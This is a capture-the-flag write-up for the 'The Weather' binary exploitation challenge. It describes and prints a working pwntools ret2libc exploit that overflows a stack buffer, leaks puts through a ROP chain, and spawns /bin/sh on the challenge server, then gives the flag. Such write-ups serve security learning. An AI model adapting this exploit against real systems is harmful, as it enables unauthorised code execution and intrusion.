ctftime

My solutions for various CTF challenges

View on GitHub

../

The Weather

Binary Exploitation

Software is like the weather, it’s always changing!

Solution

When connecting to the service, you get a base64 encoded binary that is executed and needs to be exploited. Every time you connect to the service, you get a new binary and the connection is being terminated after about 40 seconds, so you need to automate as much as possible.

First, I dumped some of the binaries and exploited them locally using pwntools. The binaries have no PIE and no stack canaries enabled, only NX is enabled, and they have a buffer overflow vulnerability what allows us to execute ROP chains. The exploit script finds appropriate ROP gadgets and overflows the buffer to set up a ROP chain to leak the libc address of puts and returns to the main function again for another input of a ROP chain to execute system with /bin/sh.

When comparing the binaries, the only things that change are the vulnerable buffer size and the address of the main function, that can not simply read out because the binaries are stripped. Since I was not aware of a better way, I quickly opened the binary in Ghidra and looked up these two unknown variables, the buffer size and the address of the main function, and inserted them to the exploit script in time and successfully got the shell.

Exploit script:

from pwn import *
import base64
from os import path

p = remote('challs.xmas.htsp.ro', 12002)
print p.recvuntil('b\'')

binary = p.recvuntil('\'')

with open('binary', 'wb') as file:
	file.write(base64.b64decode(binary))

libc = ELF('libc-2.27.so')
e = ELF('binary')
rop = ROP(e)

POP_RDI_RET = rop.find_gadget(['pop rdi', 'ret'])[0]
RET = rop.find_gadget(['ret'])[0]

while True:
	if path.exists('vars'):
		break
	sleep(0.5)

with open('vars', 'r') as file:
	data = file.read().split(';')
	size = int(data[0])
	main = int(data[1], 16)

# p = process('binary')
p.sendlineafter('? ', 'A' * size + p64(0x0) + p64(POP_RDI_RET) + p64(e.got['puts']) + p64(e.plt['puts']) + p64(main))
print p.recvline()
print p.recvline()

puts = u64(p.recvline()[:-1] + '\x00\x00')

log.info('puts: {}'.format(hex(puts)))

libc_base = puts - libc.symbols['puts']
log.info('libc_base: {}'.format(hex(libc_base)))

system = libc_base + libc.symbols['system']
log.info('system: {}'.format(hex(system)))

sh = libc_base + next(libc.search('/bin/sh'))
log.info('/bin/sh: {}'.format(hex(sh)))

p.sendlineafter('? ', 'A' * size + p64(0x0) + p64(RET) + p64(POP_RDI_RET) + p64(sh) + p64(system))
p.interactive()

flag: X-MAS{0h_1_7h1nk_y0u_4r3_4_r0b07}